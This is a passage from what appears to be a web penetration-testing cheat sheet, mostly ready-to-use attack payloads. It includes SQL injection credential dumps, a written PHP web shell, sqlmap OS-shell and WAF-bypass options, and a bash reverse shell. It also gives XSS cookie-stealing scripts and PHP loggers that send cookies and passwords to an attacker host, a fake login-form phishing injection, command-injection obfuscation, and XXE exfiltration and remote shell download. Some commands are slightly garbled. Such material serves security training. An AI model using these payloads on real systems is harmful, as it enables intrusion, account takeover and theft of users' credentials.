| `admin')-- -`                                                                                                                              | Basic Auth Bypass With comments                      |
| [Auth Bypass Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass)              |                                                      |
| **Union Injection**                                                                                                                        |                                                      |
| `' order by 1-- -`                                                                                                                         | Detect number of columns using `order by`            |
| `cn' UNION select 1,2,3-- -`                                                                                                               | Detect number of columns using Union injection       |
| `cn' UNION select 1,@@version,3,4-- -`                                                                                                     | Basic Union injection                                |
| `UNION select username, 2, 3, 4 from passwords-- -`                                                                                        | Union injection for 4 columns                        |
| **DB Enumeration**                                                                                                                         |                                                      |
| `SELECT @@version`                                                                                                                         | Fingerprint MySQL with query output                  |
| `SELECT SLEEP(5)`                                                                                                                          | Fingerprint MySQL with no output                     |
| `cn' UNION select 1,database(),2,3-- -`                                                                                                    | Current database name                                |
| `cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`                                                                  | List all databases                                   |
| `cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`                                 | List all tables in a specific database               |
| `' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- -`                          | List all tables in current database                  |
| `cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`                | List all columns in a specific table                 |
| `cn' UNION select 1, username, password, 4 from dev.credentials-- -`                                                                       | Dump data from a table in another database           |
| **Privileges**                                                                                                                             |                                                      |
| `cn' UNION SELECT 1, user(), 3, 4-- -`                                                                                                     | Find current user                                    |
| `cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -`                                                               | Find if user has admin privileges                    |
| `cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -` | Find if all user privileges                          |
| `cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -` | Find which directories can be accessed through MySQL |
| **File Injection**                                                                                                                         |                                                      |
| `cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`                                                                                   | Read local file                                      |
| `select 'file written successfully!' into outfile '/var/www/html/proof.txt'`                                                               | Write a string to a local file                       |
| `cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -`                                  | Write a web shell into the base web directory        |

{% hint style="info" %}
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use `load_file` to read the server configuration, like Apache's configuration found at `/etc/apache2/apache2.conf`, Nginx's configuration at `/etc/nginx/nginx.conf`, or IIS configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using [this wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt) or [this wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt). Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.
{% endhint %}

<figure><img src="/files/i4wFcLbHJtNxThdLiX2j" alt=""><figcaption><p>Webshell successfully written via SQL injection</p></figcaption></figure>

### SQLMAP

\
\- Use the following command to test a specific IP or URL for SQL injection vulnerabilities:

```bash
sqlmap -u IP_or_URL -r <reqFileContainingRequestBurpFile> # Test SQLi using a request file containing the necessary info, could be a request file that you export from burp
```

#### SQLMAP CheatSheet

<pre class="language-bash"><code class="lang-bash">sudo apt install sqlmap # Installation from Linux Distribution

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev # Manual installation from Linux/windows

python sqlmap.py # Running the SQLMAP

<strong>sqlmap -h  # View the basic help menu
</strong>
sqlmap -hh  # View the advanced help menu

# Test for SQLi vulnerabilities
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch  # Run SQLMap without asking for user input

sqlmap 'http://www.example.com/' --data 'uid=1&#x26;name=test'  # SQLMap with POST request

sqlmap 'http://www.example.com/' --data 'uid=1*&#x26;name=test'  # POST request specifying an injection point with an asterisk

sqlmap -r req.txt  # Passing an HTTP request file to SQLMap

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id --proxy="http://localhost:8080" # Redirect traffic to your proxy MiTM

sqlmap -u http://192.168.202.162/cat.php?id=1 --union-cols=17 --union-from=users # FineTuning Union SQLI

sqlmap -u http:/... --cookie="PHPSESSID=j9c5bkd3oiaskl5ii7je5q2s0q"  # Specifying a cookie header

sqlmap -u www.target.com --data='id=1' --method PUT  # Specifying a PUT request

sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt  # Store traffic to an output file

sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch  # Specify verbosity level

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"  # Specifying a prefix or suffix

sqlmap -u www.example.com/?id=1 -v 3 --level=5 --risk=3 # Specifying the level and risk

sqlmap -u http://192.168.202.162/cat.php?id=1 --technique=BEQSTU # Choose a specific SQLi technique B, E, Q, S, T, U
<strong>
</strong><strong># Dump data
</strong><strong>sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba  # Basic DB enumeration
</strong>
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb  # Table enumeration

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3 # Extract only the 2de and stop and the 3de row

sqlmap -u "http://www.example.com/?id=1" --dump -D testdb #Dump the entire table

qlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs # Dump all DB's except the sysdbs whichle are little of interest

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname  # Table/row enumeration

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --dump-format=HTML # specify the export format you want for the dump

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"  # Conditional enumeration

sqlmap -u "http://www.example.com/?id=1" --schema  # Database schema enumeration

sqlmap -u "http://www.example.com/?id=1" --search -T user  # Searching for data

sqlmap -u "http://www.example.com/?id=1"  --passwords --batch  # All Password enumeration and cracking

--all --batch # Tip: The '--all' switch in combination with the '--batch' switch, will automa(g)ically do the whole enumeration process on the target itself, and provide the entire enumeration details.

sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba  # Check for DBA privileges

#FileRead
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"  # Reading a local file

#FileWrite 
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"  # Writing a file

#Spawing Shell
sqlmap -u "http://www.example.com/?id=1" --os-shell  # Spawning an OS shell

</code></pre>

{% hint style="info" %}
SQLMAP: As for the number of payloads, by default (i.e. `--level=1 --risk=1`), the number of payloads used for testing a single parameter goes up to **72**, while in the most detailed case (`--level=5 --risk=3`) the number of payloads increases to **7,865**
{% endhint %}

#### SQLMAP - Webapp protections bypasses

<pre class="language-bash"><code class="lang-bash"># Anti-CSRF Token Bypass
sqlmap -u "http://www.example.com/" --data="id=1&#x26;csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
<strong>
</strong><strong># Unique Value Bypass
</strong>sqlmap -u "http://www.example.com/?id=1&#x26;rp=29125" --randomize=rp --batch -v 5 | grep URI

# Calculated Parameter Bypass
sqlmap -u "http://www.example.com/?id=1&#x26;h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

# IP Address Concealing
 --proxy (e.g. --proxy="socks4://177.39.187.70:33283")
 --tor
 
 # WAF bypass
 --skip-waf
 
 # User-agent Blacklisting Bypass
--random-agent

# Tamper Scripts
--list-tampers
--tamper=between,randomcase

# HTTP Param pollution
--chunked

</code></pre>

### SQLmap Tamper scripts

| **Tamper-Script**           | **Description**                                                                                                              |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| `0eunion`                   | Replaces instances of UNION with e0UNION                                                                                     |
| `base64encode`              | Base64-encodes all characters in a given payload                                                                             |
| `between`                   | Replaces greater than operator (`>`) with `NOT BETWEEN 0 AND #` and equals operator (`=`) with `BETWEEN # AND #`             |
| `commalesslimit`            | Replaces (MySQL) instances like `LIMIT M, N` with `LIMIT N OFFSET M` counterpart                                             |
| `equaltolike`               | Replaces all occurrences of operator equal (`=`) with `LIKE` counterpart                                                     |
| `halfversionedmorekeywords` | Adds (MySQL) versioned comment before each keyword                                                                           |
| `modsecurityversioned`      | Embraces complete query with (MySQL) versioned comment                                                                       |
| `modsecurityzeroversioned`  | Embraces complete query with (MySQL) zero-versioned comment                                                                  |
| `percentage`                | Adds a percentage sign (`%`) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)                                        |
| `plus2concat`               | Replaces plus operator (`+`) with (MsSQL) function CONCAT() counterpart                                                      |
| `randomcase`                | Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)                                               |
| `space2comment`             | Replaces space character ( ) with comments \`/                                                                               |
| `space2dash`                | Replaces space character ( ) with a dash comment (`--`) followed by a random string and a new line ()                        |
| `space2hash`                | Replaces (MySQL) instances of space character ( ) with a pound character (`#`) followed by a random string and a new line () |
| `space2mssqlblank`          | Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters     |
| `space2plus`                | Replaces space character ( ) with plus (`+`)                                                                                 |
| `space2randomblank`         | Replaces space character ( ) with a random blank character from a valid set of alternate characters                          |
| `symboliclogical`           | Replaces AND and OR logical operators with their symbolic counterparts (`&&` and `\|\|`)                                     |
| `versionedkeywords`         | Encloses each non-function keyword with (MySQL) versioned comment                                                            |
| `versionedmorekeywords`     | Encloses each keyword with (MySQL) versioned comment                                                                         |

* To create a more stable reverse shell, use the following payload:

```bash
bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
```

## Local File Include Vulnerability

#### Access Local Files via Local File Inclusion

* Exploit local file inclusion vulnerabilities using direct HTTP requests:

```bash
http://unika.htb/index.php?page=../../../../../../../../../../windows/system32/drivers/etc/hosts
```

* The inclusion occurs due to the `include()` function in PHP, where directory traversal allows unauthorized file access.

#### LFI to RCE example <a href="#reverse-shell-and-curl" id="reverse-shell-and-curl"></a>

```bash

# Execute a command using curl with a POST request, leveraging LFI for log poisoning and RCE
curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=nc 192.168.56.101 4444 -e / "cmd/bash"

# Set up a listener for incoming connections on port 4444 using netcat
nc -nlvp 4444

# Perform a GET request using curl
curl -X GET http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail
```

## Cross Site Scripting (XSS)

To learn more about the basics of XSS, refer to this section [Basics](/web-pentesting/basics.md#cross-site-scripting-xss)&#x20;

XSS vulnerabilities take advantage of a flaw in user input sanitization to "write" JavaScript code to the page and execute it on the client side, leading to several types of attacks.

[Cross-Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/)

{% hint style="info" %}
Tip: Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of `window.origin` in the alert box, instead of a static value like `1`. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.
{% endhint %}

```bash
#Simple XSS Test Payloads to easy-spot XSS vulns
<script>alert(window.origin)</script>
# Basic XSS payload to print something
<script>print()</script>
# steal document cookie
<script>alert(document.cookie)</script>
#Change background color
<script>document.body.style.background = "#141d2b"</script>
#Change Background Image
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
# Change Website title
<script>document.title = 'XSS Title'</script>
# Overwrite website's main body
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>
# Remove an HTML element 
<script>document.getElementById('urlform').remove();</script>
# Load a script from our server
<script src="http://OUR_IP/script.js"></script>
# Send cookies to our server
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

# Website Defacing: Change the Title and an external image on the entire website via Body using inner HTML
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>
#Try closing first the code and inject your script
'><script>alert(1)</script>

#Load a remote script
<script src=http://OUR_IP/fullname.js></script>

#If we don t know which field is vulnerable, we can try blind XSS and see if we get some request from our webserver
<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
```

### XSS to steal the user's cookies

```
"><img src=x onerror=prompt(document.domain)>

```

The following PHP code is a cookie-logging script (log.php) to capture a victim's session cookie by sharing the URL of a public profile that is vulnerable to stored XSS and embeds our cookie-stealing payload. The below PHP script can be hosted on a VPS or your attacking machine (depending on egress restrictions).

This script waits for anyone to request `?c=+document.cookie`, and it will then parse the included cookie.

```php
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>
```

The cookie-logging script can be run as follows.

```php
php -S <IP>:<PORT>

```

Payload to get the cookies sent back to our PHP server

```php
"window.location = 'http://<VPN/TUN Adapter IP>:8000/log.php?c=' + document.cookie;"

<h1 onmouseover='document.write(`<img src="http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>

<script>fetch(`http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}`)</script>

```

{% hint style="info" %}
**Note**: If you're doing testing in the real world, try using something like [XSSHunter (now deprecated)](https://xsshunter.com/), [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) or [Project Interactsh](https://app.interactsh.com/). A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS.
{% endhint %}

### XSS for a phishing attack simulation

```bash

#Example of a XSS with Login form that sends the results to your webserver, this will replace the entire body by the HTML code below 
#Change the IP/PORT to your server 

XSS='><script>document.getElementsByTagName('body')[0].innerHTML = '<h3>Please login to continue</h3><form action=http://10.10.14.125:4444><input type="username"name="username"placeholder="Username"><input type="password"name="password"placeholder="Password"><input type="submit" name="submit" value="Login"></form>'</script>

'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.125:4444><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');</script>
```

Results:

<figure><img src="/files/IXCXVrGvQjLaT3D9yhCc" alt=""><figcaption></figcaption></figure>

To return the victim's to the original page and reduce suspicions, we can host a PHP page on our webserver.

PHP Example code that we can place under `/tmp/tmpserver/` and call it `index.php` (Don't forget to change the Server\_IP to the website or IP that you are testing)

```php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

```

### Reflected XSS&#x20;

#### into attribute with angle brackets HTML-encoded

Especially if the angels are HTML encoded and being escaped

```javascript
'" autofocus onfocus=alert(1) x="''
" onmouseover"=alert(2)
```

#### Reflected XSS into a JavaScript string with angle brackets HTML encoded

```javascript
//Consider the following javascript
<script>
var searchTerms = ''+alert(1)+'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
 </script>                   
//We break the script by closing the brackets and sending alert(1) payload
'+alert(1)+'
```

### Stored XSS into anchor `href` attribute with double quotes HTML-encoded

```html
<a id="author" href="javascript:alert();">Controllable Attacker Input</a>
```

```
javascript:alert();
```

### XSS for session hijacking

If we identify XSS, we can use it to steal user's cookies with the following example approach.

1. Host a PHP script on your webserver that would capture a parameter and save it's content to a file

```php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

2. Inject one of the following payloads to steal the user's cookies through XSS

```bash
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
```

3. If the XSS is successfull, we would get the user's cookies from the cookie.txt file

```bash
cat cookies.txt 
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
```

### Javascript cookie grabber

```javascript
document.location='http://OUR_IP/index.php?c='+document.cookie;
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie;</script>
```

### DOM XSS

While `reflected XSS` sends the input data to the back-end server through HTTP requests, DOM XSS is completely processed on the client-side through JavaScript. DOM XSS occurs when JavaScript is used to change the page source through the `Document Object Model (DOM)`. If the parameter starts with "#" like in this example `http://SERVER_IP:PORT/`**`#task`**`=<img src=` it means that the parameter is executed by the Javascript through DOM

```javascript
//DOM-Based XSS 
<img src="" onerror=alert(window.origin)>
<img src="" onerror=alert(document.cookie)>
#"><img src=/ onerror=alert(2)>

// DOM XSS in jQuery selector sink using a hashchange event
<iframe src ="https://0a86004c037f1eee82a9063700e500af.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'"</iframe>

```

JQuery vulnerable code - DOM XSS

```javascript
<script>
                        $(window).on('hashchange', function(){
                            var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
                            if (post) post.get(0).scrollIntoView();
                        });
                    </script>
```

Executing stuff inside the href attribute

<figure><img src="/files/Oy2NngQazDMWjWNwxHgn" alt=""><figcaption><p>HTML BAD CODE</p></figcaption></figure>

```javascript
//Executing stuff inside href attribute
javascript:alert(1)
```

### XSStrike

&#x20;XSSSTRIKE is a powerful python tool that allows you to automate the detection of XSS vulnerabilities on parameters:

```bash
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
```

If you get an error from python when you try to install the requirements, you might need to c**reate a virtual environment** :  which allow you to manage Python packages independently of the system Python.&#x20;

```bash
sudo apt install python3-venv
python3 -m venv xsstrike-env
source xsstrike-env/bin/activate
pip install -r requirements.txt
```

Other useful resources with interesting XSS payloads:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md>" %}

{% embed url="<https://github.com/payloadbox/xss-payload-list>" %}

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}
Portswigger XSS cheatsheet
{% endembed %}

## Command injections

### Injection Operators

| Injection Operator | Injection Character | URL-Encoded Character | Executed Command                           |
| ------------------ | ------------------- | --------------------- | ------------------------------------------ |
| Semicolon          | `;`                 | `%3b`                 | Both                                       |
| New Line           | \n                  | `%0a`                 | Both                                       |
| Background         | `&`                 | `%26`                 | Both (second output generally shown first) |
| Pipe               | \|                  | %7c                   | Both (second output is shown)              |
| AND                | `&&`                | `%26%26`              | Both (only if first succeeds)              |
| OR                 | \|\|                | %7c%7c                | Second (only if first fails)               |
| Sub-Shell          | \`\`                | `%60%60`              | Both (Linux-only)                          |
| Sub-Shell          | `$()`               | `%24%28%29`           | Both (Linux-only)                          |

### Linux

#### Filtered Character Bypass

```bash
# Can be used to view all environment variables
printenv

# Using tabs instead of spaces
%09
# Example, using tabs for spaces and URL encoded %0a for new line
ip=127.0.0.1%0a%09ls%09-la 

# Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())
${IFS}
# spaces in between are automatically placed with (IFS):
 127.0.0.1%0a${IFS}ls${IFS}-la

# Commas will be replaced with spaces
{ls,-la}

# Will be replaced with /
${PATH:0:1}

# Will be replaced with ;
${LS_COLORS:10:1}

# Shift character by one ([ -> \)
$(tr '!-}' '"-~'<<<[)
```

#### Blacklisted Command Bypass

```bash
# Total must be even
' or "

# Linux only
$@ or \

# Execute command regardless of cases, replaces all upper-cases with lower case characters
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

# Another variation of the technique
$(a="WhOaMi";printf %s "${a,,}")

# Reverse a string
echo 'whoami' | rev

# Execute reversed command
$(rev<<<'imaohw')

# Encode a string with base64
echo -n 'cat /etc/passwd | grep 33' | base64

# Execute b64 encoded string, using <<< to avoid using a pipe | if filtered by the waf
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

```

{% hint style="info" %}

```
Even if some commands were filtered, like bash or base64, 
we could bypass that filter with the techniques we discussed 
in the previous section (e.g., character insertion), 
or use other alternatives like sh for command execution 
and openssl for b64 decoding, or xxd for hex decoding.
```

{% endhint %}

### Windows

#### Filtered Character Bypass

```powershell
# Can be used to view all environment variables - (PowerShell)
Get-ChildItem Env:

# Using tabs instead of spaces
%09

# Will be replaced with a space - (CMD)
%PROGRAMFILES:~10,-5%

# Will be replaced with a space - (PowerShell)
$env:PROGRAMFILES[10]
```

#### Other Characters

```powershell
# Will be replaced with \ - (CMD)
%HOMEPATH:~0,-17%

# Will be replaced with \ - (PowerShell)
$env:HOMEPATH[0]
```

#### Blacklisted Command Bypass

```powershell
# Total must be even
' or "

# Windows only (CMD)
^

# Simply send the character with odd cases
WhoAmi

# Reverse a string
"whoami"[-1..-20] -join ''

# Execute reversed command
iex "$('imaohw'[-1..-20] -join '')"

# Encode a string with base64
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

# Execute b64 encoded string
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
```

### Evasion Tools (Bash commands Obfuscators)

### Linux

* Bashfuscator: Once we have the tool set up, we can start using it from the `./bashfuscator/bin/` directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the `-h` help menu.

```bash
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

# Usage examples
./bashfuscator -c 'cat /etc/passwd'
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
    [+] Mutators used: Token/ForCode
    [+] Payload:
    eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
    [+] Payload size: 104 characters

#Test the payload with bash -c ...
bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bash
...SNIP...

```

### Windows

* DOSfuscation: There is also a very similar tool that we can use for Windows called [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation). Unlike `Bashfuscator`, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows:

```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation

# Usage example
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
encoding
1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
```

## File Upload vulnerabilities

Create a random file with dd containing random size, this tool is very useful to quickly test and identify the authorized extensions and test size limit

```bash
dd if=/dev/urandom of=certificateOfIncorporation.pdf bs=1M count=30
dd if=/dev/urandom of=malicious.exe bs=1M count=300

```

Create a file of 4M with the word "TEST"

```
yes "Test " | head -c 4M > desc_4M.txt
```

| **Web Shell**                                                                           | **Description**                       |
| --------------------------------------------------------------------------------------- | ------------------------------------- |
| `<?php file_get_contents('/etc/passwd'); ?>`                                            | Basic PHP File Read                   |
| `<?php system('hostname'); ?>`                                                          | Basic PHP Command Execution           |
| `<?php system($_REQUEST['cmd']); ?>`                                                    | Basic PHP Web Shell                   |
| `<% eval request('cmd') %>`                                                             | Basic ASP Web Shell                   |
| `msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php`          | Generate PHP reverse shell            |
| [PHP Web Shell](https://github.com/Arrexel/phpbash)                                     | PHP Web Shell                         |
| [PHP Reverse Shell](https://github.com/pentestmonkey/php-reverse-shell)                 | PHP Reverse Shell                     |
| [Web/Reverse Shells](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells) | List of Web Shells and Reverse Shells |

### Bypasses

| **Command**                                                                                                                                | **Description**                              |
| ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------- |
| **Client-Side Bypass**                                                                                                                     |                                              |
| `[CTRL+SHIFT+C]`                                                                                                                           | Toggle Page Inspector                        |
| **Blacklist Bypass**                                                                                                                       |                                              |
| `shell.phtml`                                                                                                                              | Uncommon Extension                           |
| `shell.pHp`                                                                                                                                | Case Manipulation                            |
| [PHP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) | List of PHP Extensions                       |
| [ASP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP)                | List of ASP Extensions                       |
| [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)                          | List of Web Extensions                       |
| **Whitelist Bypass**                                                                                                                       |                                              |
| `shell.jpg.php`                                                                                                                            | Double Extension                             |
| `shell.php.jpg`                                                                                                                            | Reverse Double Extension                     |
| `%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, `…`                                                                                          | Character Injection - Before/After Extension |
| **Content/Type Bypass**                                                                                                                    |                                              |
| [Web Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)                             | List of Web Content-Types                    |
| [Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt)                    | List of All Content-Types                    |
| [File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)                                                                   | List of File Signatures/Magic Bytes          |

### Limited Uploads

| **Potential Attack** | **File Types**          |
| -------------------- | ----------------------- |
| `XSS`                | HTML, JS, SVG, GIF      |
| `XXE`/`SSRF`         | XML, SVG, PDF, PPT, DOC |
| `DoS`                | ZIP, JPG, PNG           |

XSS via SVG image

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

```shell-session
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
HackJiji@htb[/htb]$ 
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>
```

## XXE

| `<!ENTITY xxe SYSTEM "http://localhost/email.dtd">`                                | Define External Entity to a URL                |
| ---------------------------------------------------------------------------------- | ---------------------------------------------- |
| `<!ENTITY xxe SYSTEM "file:///etc/passwd">`                                        | Define External Entity to a file path          |
| `<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">` | Read PHP source code with base64 encode filter |
| `<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">`        | Reading a file through a PHP error             |
| `<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">`  | Reading a file OOB exfiltration                |
|                                                                                    |                                                |

### Blind XXE and data exfiiltration via oob

```
#server the following .dtd file on your webserver
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.10.10:4444/?content=%file;'>">
```

```bash
#Trigger external dtd loading from the vulnerable application
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % ps SYSTEM "http://10.10.10.10:4444/xxe.dtd">
%ps;
%oob;
]>
```

You should get the base64 content of /etc/passwd

<figure><img src="/files/OE9ZdHd6ON1mhvubFUoA" alt=""><figcaption></figcaption></figure>

### RCE via XXE

We can use PHP wrappers if it's enabled

{% embed url="<https://www.php.net/manual/en/wrappers.php>" %}

```bash
#1. Serve a shell.sh 
#2. Download and store it on the vulnerable server via XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % ps SYSTEM "expect://curl$IFS-O$IFS'10.10.10.10:4444/shell.sh'">
%ps;
]>
```

```bash
#3. Executes the downloaded shell
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % ps SYSTEM "expect://bash$IFS'shell.sh'">
%ps;
%oob;
]>content;
```

```bash
#Optionally: we can download and store a webshell on the server
    <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
```

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

```

